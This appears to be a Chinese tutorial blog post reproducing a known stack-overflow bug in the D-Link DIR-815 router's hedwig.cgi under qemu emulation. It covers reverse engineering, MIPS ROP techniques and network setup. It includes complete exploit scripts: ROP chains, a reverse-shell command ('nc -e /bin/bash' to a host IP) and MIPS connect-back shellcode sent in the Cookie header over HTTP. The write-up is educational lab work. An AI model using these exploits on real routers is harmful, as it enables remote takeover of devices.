<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從零開始復現 DIR-815 棧溢出漏洞

    VSole2022-05-19 17:09:25

    前言

    官方的漏洞報告:https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625

    官方的漏洞報告中只提及了DIR-645型號的hedwig.cgi中會存在緩沖區溢出的漏洞,其實D-Link的DIR-815/300/600/645等型號都存在這個漏洞,在本篇漏洞復現報告中,筆者僅以DIR-815為例進行分析。

    筆者用于復現的物理機為Ubuntu-20.04,請先安裝qemu / binwalk / sasquatch / gdb-multiarch等工具,并對MIPS架構下的匯編語法進行一定的了解。

    固件包下載地址(掛個梯子):DIR-815A1_FW101SSB03.bin(https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0;

    逆向分析二進制文件

    將固件包通過binwalk解壓后,先找到官方漏洞報告中所說的hedwig.cgi文件,其路徑為/htdocs/web/hedwig.cgi,通過ls -l命令看一下:

    可以看見,/htdocs/web/hedwig.cgi是/htdocs/cgibin的軟鏈接,因此,我們需要逆向分析的二進制文件是/htdocs/cgibin。

    先進入到main函數中:

    再走到hedwigcgi_main函數:

    首先,會先取環境變量REQUEST_METHOD,按照這里的判斷,必須得是 POST請求 才行。

    接著,會走到cgibin_parse_request函數:

    這個函數已經不陌生了,會對url先進行解析,然后將POST的內容讀入進來,再通過sub_409A6C函數進行解析。

    在cgibin_parse_request函數內:

    這里會獲取圈出的幾個環境變量,不過和后面的棧溢出漏洞關系都不大,但是不能沒有,需要隨便輸入一點東西,具體原因之后會分析。

    接著,就會走到sess_get_uid函數:

    里面有對環境變量HTTP_COOKIE的獲取:

    對HTTP_COOKIE中=的前后進行了分離:

     

    可以看見,=前面的內容被存入了v2,后面的內容被存入了v4,最后會對v2中的內容進行一個判斷:

     

    也就是判斷等號前的內容是否為uid,判斷通過了以后,就會將等號后面的字符串拼接入a1,也就是主函數傳進來的參數v4。

    再然后,就到了一個可能發生棧溢出的漏洞點:

     

    這里的string就是v4中的字符串,也就是cookie中uid=之后的內容,是可以由用戶自由控制的,然而v27數組的大小僅有1024,因此,很容易造成緩沖區溢出。

    我們發現,在之后還有一個類似的sprintf:

     

    這里的string仍然是v4,進一步觀察,發現v4在兩個sprintf之間未被改變過,也就是說,這里的string仍然是cookie中uid=后面的字符串,如果能走到這第二個sprintf的話,那么這里才是真正的溢出漏洞點,因為仍然是v27數組的溢出,兩次拼接的字符串又一樣,所以這里能覆蓋上一次sprintf的內容。

    容易看出,如果能走到第二個sprintf的話,就需要過這兩個判斷:

     

    這第一個判斷需要有/var/tmp這個目錄,這個在真機上是有的,因此為了更真實地模擬環境,我們需要在解壓后得到的文件系統內創建一個/var/tmp文件夾,這樣cgibin才能在此路徑下創建temp.xml文件用于數據的寫入。

    第二個判斷haystack的值在這之前只有cgibin_parse_request的第一個參數sub_409A6C中可對其操作:

    這個sub_409A6C函數需要POST傳入內容的時候才能走到,那么要使得POST傳入內容,也就要走到cgibin_parse_request中的這里:

    這里跳轉到的sub_403B10函數后,才有對POST內容的讀入,并調用到sub_409A6C:

     

    上圖是進入sub_403B10函數后,最終走到的sub_402B40函數,其中這里的v9函數指針就是指向的sub_409A6C函數。

    再回到cgibin_parse_request函數中,要走到讀入POST內容的那里,就必須要使得v9!=-1才行,再往cgibin_parse_request函數上面看看:

     

    因此,環境變量REQUEST_URI中也必須有內容才行,這里環境變量CONTENT_TYPE仍然是老規矩application/x-www-form-urlencoded,不再多分析了。

    滿足了以上條件,就能順利地走到第二個sprintf了,也就是真機環境中真正的棧溢出漏洞點。

    MIPS棧溢出的ROP鏈構造

    MIPS架構下的棧溢出肯定也是需要通過構造ROP鏈來getshell的,不過由于MIPS有個特性,即無法開NX保護,這樣就有了兩種構造ROP鏈的方式:第一種就是純ROP鏈,通過調用system函數來getshell;第二種就是通過構造ROP鏈,跳轉至讀入到棧/bss段等處的shellcode執行。在實際應用中,最常用的還是通過ROP + shellcode的方式來getshell。

    mipsrop

    尋找IDA的gadget最好還是用IDA的插件mipsrop,里面的stackfinder()/tail()/system()等選項很便于尋找一些gadget,也可以使用如mipsrop.find("li .*, 1")的形式,通過.*進行模糊匹配:

    附上IDA-7.5以上版本的mipsrop插件下載地址:mipsrop.zip,解壓到IDA的plugins目錄下即可。

    關于MIPS架構的寄存器及指令集請自行查閱資料,這里就不多作介紹了。

    下面主要來介紹一些常見的MIPS架構的特性(32位mipsel)。

    葉子函數與非葉子函數

    葉子函數指的是沒有調用任何子函數的函數,其返回地址會存放在$ra寄存器中,在該函數結束時,直接就通過$ra寄存器跳轉返回。

    非葉子函數自然就是指其中調用了其他子函數的函數,其返回地址$ra會在程序開始(prologue)通過sw指令存放在棧上,因為其中調用了其他子函數,肯定會需要改變$ra寄存器的值,來作為其他子函數的返回地址,所以最先的數據需要保存下來,然后在該函數結束(epilogue)時,再對應地通過lw指令取出,并跳轉返回。

    同樣的道理,如果在某個函數中使用到了 $s0 ~ $s7中的某些保存寄存器(包括$fp) ,則也會在prologue處保存下來,并在epilogue處取出。

    需要注意的是,$s0 ~ $s7, $fp, $sp在棧中存放的地址依次遞增,因此,很容易想到,我們可以在棧溢出的同時,順帶著控制到$s0 ~ $s7的值。

    MIPS的這個特性是一個在棧溢出中很好利用的點,若是二進制文件中沒有或沒有完整的prologue/epilogue段,在libc的scandir/scandir64中可以找到完整的匯編段,來控制這所有的寄存器:

     

    最后,都會通過addiu $sp, ...的命令,將棧抬高到$ra后面的位置。

    流水線指令集相關特性

    MIPS架構存在“流水線效應”,簡單來說,就是本應該順序執行的幾條命令卻同時執行了,其還存在緩存不一致性(cache incoherency)的問題。

    首先舉例說說 “流水線效應” ,最常見的就是跳轉指令(如jalr)導致的分支延遲效應,任何一個分支跳轉語句后面的那條語句叫做分支延遲槽,當它跳轉指令填充好跳轉地址,還沒來得及跳轉過去的時候,跳轉指令的下一條指令(分支延遲槽)就已經執行了,可以認為是它會先執行跳轉指令的后一條指令,然后再跳轉。

    再來說說 “緩存不一致性” 的問題,指的是:指令緩存區(Instruction Cache)和數據緩存區(Data Cache)兩者的同步需要一個時間來同步,常見的就是,比如我們將shellcode寫入棧上,此時這塊區域還屬于數據緩存區,如果我們此時像x86_64架構一樣,直接跳轉過去執行,就會出現問題,因此,我們需要調用sleep函數,先停頓一段時間,給它時間從數據緩存區轉成指令緩存區,然后再跳轉過去,才能成功執行。當然,有時候可能直接跳轉過去也不會出錯,這原因就比較多了,可能是由于兩個緩沖區已經有足夠時間同步,也有可能是和硬件層面有關的一些原因所導致的,但是保險來說,還是最好sleep一下。

    接著,筆者再介紹一些構造ROP鏈的常用技巧:

    跳轉到某個函數的ROP鏈構造技巧

    我們先來觀察MIPS架構下某一個函數的開頭部分,比如system函數最開始的這兩行:

    li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)  # Alternative name is '__libc_system'addu    $gp, $t9...`
    

    這里全局寄存器$gp從取了個偏移值(這個偏移值是相對于該函數地址的)之后,又與$t9寄存器相加,此時的 $t9寄存器要求是該函數的首地址 才行,也就是說,我們跳轉到某個函數的時候,一定要通過jalr $t9類似的gadget進行跳轉才行。

    再來觀察這個函數(system函數)的最后兩行:

    ...jr      $raaddiu   $sp, 0x48
    

    我們發現,最后的返回的時候,得是通過$ra寄存器中的地址跳轉的,也就是說,我們在跳轉到這個函數之前,就也得控制好$ra寄存器中的地址為我們跳轉后執行完該函數,再下一個跳轉到的地方。很方便的是,我們發現move $t9, ...這樣的gadget之后,通常會有lw $ra, ...這樣的gadget,最后再jr $t9,這類gadget可以通過mipsrop.tail()來進行查找:

     

    通過這類gadget,就可以比較完美地實現跳轉到某個函數的ROP鏈的構造。

    跳轉到shellcode的ROP鏈構造技巧

    在MIPS架構中,我們通常都是在棧溢出的同時將shellcode讀到棧上,然后再跳轉過去執行,但是我們得知道shellcode在棧上的地址才行,這里可以用如addiu $s0, $sp, ...的gadget來得到棧上shellcode的地址,然后再找到一個move $t9, $s0 ; jalr $t9的gadget跳轉過去。

    可以用mipsrop.stackfinder()找到類似于addiu $..., $sp, ...的gadget:

    構造system(cmd)的常用gadget

    如果這里我們想注入任意的cmd命令(比如反彈shell的命令),最簡單的就是在棧溢出的同時將其寫入棧上,那在我們調用system命令的時候,其第一個參數$a0就要是我們cmd命令的地址。

    我們想要一個addiu $a0, $sp, ...的gadget,但是這樣的gadget一般來說沒有能滿足我們要求的,之后的跳轉大多都不太方便。

    于是,我們想到可以通過如addiu $s0, $sp, ...和move $a0, $s0的組合命令實現,而一些原本要跳到mempcpy函數的地方,由于mempcpy函數的特性,恰好會同時包含上面兩個gadget,也就不需要分兩次跳轉了,一段gadget就能搞定,例如:

    這里由于上面所說的流水線指令集的特性,在跳轉到t9之前,其第一個參數$a0就已經被賦為$s2了。

    在qemu用戶模式下復現

    首先,我們要盡可能模擬真機環境,所以需要在var下再創建一個tmp文件夾,這個在之前漏洞分析的時候已經說過了。

    這里的ROP鏈用上面所說的技巧構造就足夠了,這里也就不一步步分析怎么找出ROP鏈來的了。

    此外,需要注意的是,這個路由設備的真機就是沒有開地址隨機化的,我們用qemu用戶模式模擬的時候,本身就是不帶地址隨機化的,因此需要先gdb連上找一下libc_base,當然,至于棧溢出多少,直接看可能不好看出來,可以用cyclic測一下。

    準備工作

    首先,cyclic 2000 > payload,將生成的2000個字符存放到payload文件中,再用以下shell腳本:

    #!/bin/bash
    INPUT="winmt=pwner"LEN=$(echo -n "$INPUT" | wc -c)cookie="uid=`cat payload`" echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
    

    這里的cat payload,可以將payload文件中的內容讀到uid=之后,然后echo $INPUT |可以做到POST的效果,-0就是argv[0],-E就是設置的環境變量,-g是連上端口,這些我之前的文章中寫過,就不多說了。

    用multiarch-gdb連上1234端口后,先來確定libc_base,由于qemu用戶模式連上pwndbg時,vmmap是無法看到libc_base的,所以只能通過找一個libc函數地址減去偏移來得到libc_base,這里有個小技巧,根據“延遲綁定”的特性,當一個函數在第二次及以后被調用的時候,就會直接跳轉到其相應的libc地址,所以斷點下在該函數再被調用時jr $t9跳轉的位置會比較好:

    然后就是找棧溢出的偏移了,我們跳轉到hedwigcgi_main函數最后的jr $ra的位置,可以看到此時的跳轉地址,再用cyclic -l查找一下,就得到偏移量了:

    純ROP鏈

    這里是system地址末兩位是\x00,而sprintf會被\x00截斷,因此這里采用的方法是:讀進去system_addr - 1,再找到addiu ..., 1的gadget對其操作后再跳轉過去。

    from pwn import *context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x7F738000 payload = b'a'*0x3cdpayload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x159F4) # s1  move $t9, $s0 (=> jalr $t9)payload += b'a'*4payload += p32(libc_base + 0x6DFD0) # s3  /bin/shpayload += b'a'*(4*2)payload += p32(libc_base + 0x32A98) # s6  addiu $s0, 1 (=> jalr $s1)payload += b'a'*(4*2)payload += p32(libc_base + 0x13F8C) # ra  move $a0, $s3 (=> jalr $s6) payload = b"uid=" + payloadpost_content = "winmt=pwner"io = process(b"""    qemu-mipsel -L ./ \    -0 "hedwig.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH=11 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE=\"""" + payload + b"""\" \    -E REQUEST_URI="2333" \    ./htdocs/cgibin""", shell = True)io.send(post_content)io.interactive()
    

    這個腳本的ROP鏈構造沒什么問題,但是在用戶模式下是打不通的,原因是這里的system函數中有調用fork()函數,而用戶模式是不支持多線程的,這里fork()的失敗,會導致后面$fp是個空指針,就會出錯,之后在系統模式打就不會出問題了。

    在system函數中:

    最后,會卡在這里:

    ROP + shellcode

    這里需要注意讓shellcode中不能存在\x00等壞字符,導致sprintf被截斷。

    這個腳本肯定是可以成功打通的。

    from pwn import *context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x7F738000 payload = b'a'*0x3cdpayload += b'a'*4payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)payload += b'a'*4payload += p32(libc_base + 0x56BD0) # s3  sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1) payload += b'a'*0x18payload += b'a'*(4*4)payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm('''    slti $a2, $zero, -1    li $t7, 0x69622f2f    sw $t7, -12($sp)    li $t6, 0x68732f6e    sw $t6, -8($sp)    sw $zero, -4($sp)    la $a0, -12($sp)    slti $a1, $zero, -1    li $v0, 4011    syscall 0x40404''')payload += b'a'*0x18payload += shellcode payload = b"uid=" + payloadpost_content = "winmt=pwner"io = process(b"""    qemu-mipsel -L ./ \    -0 "hedwig.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH=11 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE=\"""" + payload + b"""\" \    -E REQUEST_URI="2333" \    ./htdocs/cgibin""", shell = True)io.send(post_content)io.interactive()
    

    在qemu系統模式下復現

    用firmadyne模擬環境和用qemu的系統模式模擬差不多,這里就只說說用qemu的系統模式模擬環境了。

    用qemu的系統模式模擬的環境比起用qemu的用戶模式模擬的環境要更加真實。

    配置網絡環境

    安裝網絡配置工具:apt-get install bridge-utils uml-utilities

    1. 修改ubuntu網絡配置文件/etc/network/interfaces

    修改/etc/network/interfaces文件為:

    auto loiface lo inet loopback auto eth0iface eth0 inet dhcpup ifconfig eth0 0.0.0.0 up auto br0iface br0 inet dhcp bridge_ports eth0bridge_maxwait 0
    

    這里的話,我上面寫的是eth0,但是每個人的情況會不一樣,建議先用ip addr命令看看有沒有eth0這個接口,有些可能是ens33,那就把上面的eth0全部換成ens33,或者將/etc/default/grub文件中GRUB_CMDLINE_LINUX=""的雙引號中加上net.ifnames=0 biosdevname=0,然后再sudo grub-mkconfig -o /boot/grub/grub.cfg,重啟系統后,就應該變為eth0了。

    在修改完/etc/network/interfaces之后,需要用sudo /etc/init.d/networking restart命令重啟一下網絡配置。

    2. 編輯qemu的網絡接口啟動腳本/etc/qemu-ifup

    之后會講到qemu的安裝,若是還沒安裝qemu,請等qemu安裝完成后再配置此項。

    在/etc/qemu-ifup文件中寫入:

    #!/bin/shecho "Executing /etc/qemu-ifup"echo "Bringing up $1 for bridge mode..."sudo /sbin/ifconfig $1 0.0.0.0 promisc upecho "Adding $1 to br0..."sudo /sbin/brctl addif br0 $1sleep 2
    

    若是本身沒有這個文件的話,就先創建后寫入,再用sudo chmod a+x /etc/qemu-ifup命令賦予權限。

    3. 創建包含qemu使用的所有橋的名稱的配置文件/etc/qemu/bridge.conf

    在/etc/qemu/bridge.conf中寫入allow br0即可。

    注:在網絡環境按上述配置完成后,建議重啟下Ubuntu虛擬機。

    配置qemu虛擬機并連接

    我們用的是x86_64架構,所以需要qemu來模擬mipsel環境,qemu的安裝命令如下:

    sudo apt-get install qemusudo apt-get install qemu-user-staticsudo apt-get install qemu-system
    

    由于該固件是32位小端序的mips架構,因此,我們也要下載相對應的內核及鏡像文件。

    下載地址:https://people.debian.org/~aurel32/qemu/mipsel/.

    下載其中的vmlinux-3.2.0-4-4kc-malta內核以及debian_squeeze_mipsel_standard.qcow2鏡像文件。

    啟動腳本(放在剛剛下載的兩個文件的同一目錄下):

    #!/bin/bashsudo qemu-system-mipsel \    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \    -hda debian_squeeze_mipsel_standard.qcow2 \    -append "root=/dev/sda1 console=tty0" \    -net nic,macaddr=00:16:3e:00:00:01 \    -net tap
    

    命名為start.sh,用chmod +x start.sh賦予可執行權限,再用./start.sh即可啟動qemu了。

    qemu的初始賬號密碼為root/root。

    進入qemu后,先用ip addr命令(或者ifconfig命令)看一下網卡,不出意外的話,第一個應該是eth1。

    然后在qemu中,用nano /etc/network/interfaces命令修改其中內容為:

    allow-hotplug eth1iface eth1 inet dhcp
    

    也就是將原先的eth0改為你的第一個網卡名稱,我這里就是eth1。

    然后再用ifup eth1命令啟用eth1接口或者干脆重啟qemu之后,再ip addr,就可以看到:

    2: eth1:  mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000    link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff    inet 192.168.192.133/24 brd 192.168.192.255 scope global eth1    inet6 fe80::216:3eff:fe00:1/64 scope link       valid_lft forever preferred_lft forever
    

    其中,192.168.192.133就是我這里qemu的ip了,用同樣的方法,在host主機(Ubuntu系統)上執行ip addr命令,也可以拿到主機的ip。

    接著,我們需要將固件提取出來的文件系統拷貝到qemu的鏡像文件的root目錄下,進入固件解壓出的文件夾后,執行scp -r ./squashfs-root root@192.168.192.133:/root/命令即可。

    由于在qemu中不太好操作,建議用ssh命令在host主機上連接到qemu虛擬機:ssh root@192.168.192.133,這樣就能在host主機的終端上操作qemu虛擬機了。

    準備工作 及 開啟httpd服務

    在qemu虛擬機的squashfs-root目錄下新建一個http_conf配置文件,里面寫入(需要改一下自己設置的網卡,IP,端口):

    Umask 026PIDFile /var/run/httpd.pidLogGMT On  #開啟logErrorLog /log #log文件 Tuning{    NumConnections 15    BufSize 12288    InputBufSize 4096    ScriptBufSize 4096    NumHeaders 100    Timeout 60    ScriptTimeout 60} Control{    Types    {        text/html    { html htm }        text/xml    { xml }        text/plain    { txt }        image/gif    { gif }        image/jpeg    { jpg }        text/css    { css }        application/octet-stream { * }    }    Specials    {        Dump        { /dump }        CGI            { cgi }        Imagemap    { map }        Redirect    { url }    }    External    {        /usr/sbin/phpcgi { php }    }}  Server{    ServerName "Linux, HTTP/1.1, "    ServerId "1234"    Family inet    Interface eth1 #對應qemu仿真路由器系統的網卡    Address 192.168.192.133 #qemu仿真路由器系統的IP    Port "1234" #對應未被使用的端口    Virtual    {        AnyHost        Control        {            Alias /            Location /htdocs/web            IndexNames { index.php }            External            {                /usr/sbin/phpcgi { router_info.xml }                /usr/sbin/phpcgi { post_login.xml }            }        }        Control        {            Alias /HNAP1            Location /htdocs/HNAP1            External            {                /usr/sbin/hnap { hnap }            }            IndexNames { index.hnap }        }    }}
    

    然后需要開啟下物理機轉發功能(不然之后在init.sh腳本中啟動httpd服務時可能會出問題),在Ubuntu 20.04物理機上運行以下腳本即可:

    #! /bin/shsudo sysctl -w net.ipv4.ip_forward=1sudo iptables -Fsudo iptables -Xsudo iptables -t nat -Fsudo iptables -t nat -Xsudo iptables -t mangle -Fsudo iptables -t mangle -Xsudo iptables -P INPUT ACCEPTsudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEsudo iptables -I FORWARD 1 -i tap0 -j ACCEPTsudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
    

    之后,再在qemu虛擬機的squashfs-root目錄下創建init.sh的腳本進行初始化操作:

    #!/bin/bashecho 0 > /proc/sys/kernel/randomize_va_spacecp http_conf /cp sbin/httpd /cp -rf htdocs/ /mkdir /etc_bakcp -r /etc /etc_bakrm /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so  /lib/cp lib/libcrypt-0.9.30.1.so  /lib/cp lib/libc.so.0  /lib/cp lib/libgcc_s.so.1  /lib/cp lib/ld-uClibc.so.0  /lib/cp lib/libcrypt.so.0  /lib/cp lib/libgcc_s.so  /lib/cp lib/libuClibc-0.9.30.1.so  /lib/cd /rm -rf /htdocs/web/hedwig.cgirm -rf /usr/sbin/phpcgirm -rf /usr/sbin/hnapln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgiln -s  /htdocs/cgibin /usr/sbin/hnap./httpd -f http_conf
    

    稍微解釋一下,由于真機就是沒開ASLR的,所以這里我們也用echo 0 > /proc/sys/kernel/randomize_va_space關閉地址隨機化,這里需要建立一個/etc_bak,對原先的/etc文件夾進行一個備份,在退出qemu虛擬機的時候,再用fin.sh還原,因為之后的操作會改變/etc文件夾中的內容,導致下一次啟動qemu虛擬機會出問題。

    這里init.sh腳本主要就是將一些要用的文件從我們解壓出來的文件系統拷貝到下載的鏡像文件的文件系統中,可能大家會有疑問,直接chroot改一下根目錄不就行了,其實的確也可以,但是由于后面的httpd命令,需要掛載一下dev和proc目錄,而且由于固件包解壓出來的文件系統的bin文件夾中沒有nc,之后反彈shell也會出問題,此外,還牽涉到其他一些問題,比如沒有PID文件等等,所以用chroot改根目錄也是比較復雜的,還不如直接這樣復制到根目錄下。

    最后的./httpd -f http_conf命令就是根據我們的http_conf配置文件啟動了httpd服務。

    我們運行init.sh腳本,然后測試一下,成功啟動了httpd服務:

    最后,退出qemu虛擬機的時候,記得運行fin.sh的腳本恢復/etc文件夾:

    #!/bin/bashrm -rf /etcmv /etc_bak/etc /etcrm -rf /etc_bak
    

    下面是兩種在系統模式下打exp的方式:

    方法一:將生成的payload傳給qemu機

    這種方式其實是不需要用httpd -f http_conf啟動httpd服務的,就是在Ubuntu物理機中將payload傳給qemu虛擬機,然后在qemu中打payload并反彈shell給物理機。

    首先,我們還是得確定libc_base,這里要用到gdbserver(項目地址),下載對應的gdbserver.mipsel即可,然后將其傳到qemu中,在qemu中用以下run.sh腳本啟動:

    #!/bin/bashexport CONTENT_LENGTH="11"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="uid=`cat payload`"export REQUEST_METHOD="POST"export REQUEST_URI="2333"echo "winmt=pwner"|./gdbserver.mipsel 192.168.192.131:6666 /htdocs/web/hedwig.cgi#echo "winmt=pwner"|/htdocs/web/hedwig.cgiunset CONTENT_LENGTHunset CONTENT_TYPEunset HTTP_COOKIEunset REQUEST_METHODunset REQUEST_URI
    

    這里的192.168.192.131是物理機的IP,6666是自己設置的連接的端口,直接用gdb-multiarch設置好架構后,用target remote 192.168.192.133:6666連上即可,然后直接vmmap就能拿到libc_base,至于棧溢出的偏移,仍然用cyclic測一下就行,不再多說了。

    1. 純ROP鏈

    from pwn import *context(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.192.131 8888' libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*(4*7)payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18payload += cmd fd = open("payload", "wb")fd.write(payload)fd.close()
    

    2. ROP + shellcode

    from pwn import *context(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += b'a'*4payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)payload += b'a'*4payload += p32(libc_base + 0x56BD0) # s3  sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1) payload += b'a'*0x18payload += b'a'*(4*4)payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm('''    slti $a0, $zero, 0xFFFF    li $v0, 4006    syscall 0x42424     slti $a0, $zero, 0x1111    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    not $a1, $t4    slti $a2, $zero, 0xFFFF    li $v0, 4183    syscall 0x42424     andi $a0, $v0, 0xFFFF    li $v0, 4041    syscall 0x42424    li $v0, 4041    syscall 0x42424     lui $a1, 0xB821 # Port: 8888    ori $a1, 0xFF01    addi $a1, $a1, 0x0101    sw $a1, -8($sp)     li $a1, 0x83C0A8C0 # IP: 192.168.192.131    sw $a1, -4($sp)    addi $a1, $sp, -8     li $t4, 0xFFFFFFEF    not $a2, $t4    li $v0, 4170    syscall 0x42424     lui $t0, 0x6962    ori $t0, $t0,0x2f2f    sw $t0, -20($sp)     lui $t0, 0x6873    ori $t0, 0x2f6e    sw $t0, -16($sp)     slti $a3, $zero, 0xFFFF    sw $a3, -12($sp)    sw $a3, -4($sp)     addi $a0, $sp, -20    addi $t0, $sp, -20    sw $t0, -8($sp)    addi $a1, $sp, -8     addiu $sp, $sp, -20     slti $a2, $zero, 0xFFFF    li $v0, 4011    syscall 0x42424''')payload += b'a'*0x18payload += shellcode fd = open("payload", "wb")fd.write(payload)fd.close()
    

    用scp -r ./payload root@192.168.192.133:/root/squashfs-root將payload文件傳給qemu虛擬機后,在run.sh中直接用echo "winmt=pwner"|/htdocs/web/hedwig.cgi打就行了,上面兩個腳本都能成功打通:

    需要注意的是,得先執行nc -lvnp 8888開啟監聽,再打payload。

    方法二:直接發送http報文

    我們之前開啟httpd服務,就是為了這種打exp的方式,直接發送數據包給之前http_conf配置文件中設置的192.168.192.133:1234即可。

    1. 純ROP鏈

    from pwn import *import requestscontext(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.192.131 8888' libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*(4*7)payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18payload += cmd url = "http://192.168.192.133:1234/hedwig.cgi"data = {"winmt" : "pwner"}headers = {    "Cookie"        : b"uid=" + payload,    "Content-Type"  : "application/x-www-form-urlencoded",    "Content-Length": "11"}res = requests.post(url = url, headers = headers, data = data)print(res)
    

    2. ROP + shellcode

    from pwn import *import requestscontext(os = 'linux', arch = 'mips', log_level = 'debug') libc_base = 0x77f34000 payload = b'a'*0x3cdpayload += b'a'*4payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)payload += b'a'*4payload += p32(libc_base + 0x56BD0) # s3  sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1) payload += b'a'*0x18payload += b'a'*(4*4)payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4) shellcode = asm('''    slti $a0, $zero, 0xFFFF    li $v0, 4006    syscall 0x42424     slti $a0, $zero, 0x1111    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    not $a1, $t4    slti $a2, $zero, 0xFFFF    li $v0, 4183    syscall 0x42424     andi $a0, $v0, 0xFFFF    li $v0, 4041    syscall 0x42424    li $v0, 4041    syscall 0x42424     lui $a1, 0xB821 # Port: 8888    ori $a1, 0xFF01    addi $a1, $a1, 0x0101    sw $a1, -8($sp)     li $a1, 0x83C0A8C0 # IP: 192.168.192.131    sw $a1, -4($sp)    addi $a1, $sp, -8     li $t4, 0xFFFFFFEF    not $a2, $t4    li $v0, 4170    syscall 0x42424     lui $t0, 0x6962    ori $t0, $t0,0x2f2f    sw $t0, -20($sp)     lui $t0, 0x6873    ori $t0, 0x2f6e    sw $t0, -16($sp)     slti $a3, $zero, 0xFFFF    sw $a3, -12($sp)    sw $a3, -4($sp)     addi $a0, $sp, -20    addi $t0, $sp, -20    sw $t0, -8($sp)    addi $a1, $sp, -8     addiu $sp, $sp, -20     slti $a2, $zero, 0xFFFF    li $v0, 4011    syscall 0x42424''')payload += b'a'*0x18payload += shellcode url = "http://192.168.192.133:1234/hedwig.cgi"data = {"winmt" : "pwner"}headers = {    "Cookie"        : b"uid=" + payload,    "Content-Type"  : "application/x-www-form-urlencoded",    "Content-Length": "11"}res = requests.post(url = url, headers = headers, data = data)print(res)
    

    上面兩個腳本也都是能夠成功打通的:

    qemu命令模式
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    關于MIPS架構的寄存器及指令集請自行查閱資料,這里就不多作介紹了。,則也會在prologue處保存下來,并在epilogue處取出。流水線指令集相關特性MIPS架構存在“流水線效應”,簡單來說,就是本應該順序執行的幾條命令卻同時執行了,其還存在緩存不一致性(cache
    相關漏洞已經提交至CVE官網。漏洞介紹:在httpd文件處理admin/powerline的sub_40A918函數中,存在兩處命令注入漏洞。對plc_device對應的key參數、plc_add對應的devicePwd參數不加過濾,直接vsprintf拼接執行,造成命令注入,也可以實現棧溢出攻擊。版本:TL-WPA8630 KIT_V2_171011版,以及其他WPA、WR、WA等電力貓與中繼器設備對應版本。固件模擬基本步驟和往常的設備模擬一樣,利用qemu進行系統模擬,命令如下:#qemu系統模式啟動
